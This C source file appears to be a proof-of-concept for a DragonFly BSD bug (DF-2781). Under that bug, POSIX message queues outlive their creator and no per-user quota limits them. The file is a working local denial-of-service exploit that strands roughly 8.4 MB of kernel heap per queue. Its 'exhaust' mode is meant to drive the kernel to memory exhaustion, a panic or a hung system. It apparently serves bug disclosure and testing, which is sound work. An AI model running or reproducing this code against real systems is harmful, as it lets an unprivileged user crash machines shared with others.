/*
 * DF-2781 — POSIX mqueue queues and their queued messages survive the last
 * close (mq_close_fop destroys only when MQ_UNLINK is set,
 * sys_mqueue.c:391-399) and there is NO system-wide or per-user limit on
 * queues or queued bytes (only per-process open count and per-queue caps,
 * sys_mqueue.c:71-76).  There is no enumeration interface, so queues whose
 * name is withheld by their creator can never be reclaimed short of reboot.
 *
 * An unprivileged user can therefore strand unbounded kernel heap: each
 * queue can legally hold mq_max_maxmsg(512) * ~16.4 KB = ~8.4 MB of
 * kmalloc'd messages (M_MQBUF); the creating process exits, the memory
 * stays.  (Linux mitigates exactly this with RLIMIT_MSGQUEUE and
 * fs.mqueue.* sysctls; DragonFly has neither.)
 *
 * Modes:
 *   ./strand brief        — 12 queues (~100 MB), then exit and show the
 *                           memory is still allocated in the kernel
 *   ./strand exhaust N    — strand queues forever (N = cap), expected end
 *                           state: kernel heap exhaustion -> malloc
 *                           failure messages / panic / wedged guest
 *
 * cc -O2 -o strand strand.c
 */
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>

#define MAXMSG		512	/* mq_max_maxmsg */
#define MSGSIZE		16352	/* mq_max_msgsize - sizeof(struct mq_msg) */

static int
mqo(const char *name, int oflag, const long *attr)
{
	long a[4];

	memcpy(a, attr, sizeof(a));
	return syscall(SYS_mq_open, name, oflag, 0600, a);
}
#define mqs(fd, p, l)	syscall(SYS_mq_send, (fd), (p), (l), 0)
#define mqc(fd)		close(fd)

int
main(int argc, char **argv)
{
	long attr[4] = { 0, MAXMSG, MSGSIZE, 0 };
	char name[64], *buf;
	int exhaustive = 0, cap = 1000000, i;
	size_t strand_bytes = 0;

	setvbuf(stdout, NULL, _IONBF, 0);
	if (argc > 1 && strcmp(argv[1], "exhaust") == 0) {
		exhaustive = 1;
		if (argc > 2)
			cap = atoi(argv[2]);
	} else if (argc > 1 && strcmp(argv[1], "brief") == 0) {
		cap = 12;
	} else {
		cap = 12;
	}

	buf = malloc(MSGSIZE);
	memset(buf, 0x41, MSGSIZE);

	for (i = 0; i < cap; i++) {
		int fd, m;

		snprintf(name, sizeof(name), "/df2781_%d_%d", (int)getpid(), i);
		fd = mqo(name, O_RDWR | O_CREAT, attr);
		if (fd < 0) {
			printf("[%d] mq_open: %s — stopping after stranding "
			    "%.1f MB in %d queues\n", i, strerror(errno),
			    (double)strand_bytes / 1048576.0, i);
			return 0;
		}
		for (m = 0; m < MAXMSG; m++) {
			if (mqs(fd, buf, MSGSIZE) != 0) {
				printf("[%d] mq_send #%d: %s\n", i, m,
				    strerror(errno));
				break;
			}
			strand_bytes += MSGSIZE + 32 + 64; /* data + hdr + slack */
		}
		mqc(fd);		/* last close: queue + messages PERSIST */
		if (!exhaustive || (i % 12) == 0)
			printf("[%d] stranded running total %.1f MB "
			    "(kernel holds it after we exit too)\n", i,
			    (double)strand_bytes / 1048576.0);
	}
	printf("done: stranded %.1f MB in %d queues; exiting — check "
	    "`vmstat -m | grep mqueues` after I am gone\n",
	    (double)strand_bytes / 1048576.0, i);
	return 0;
}
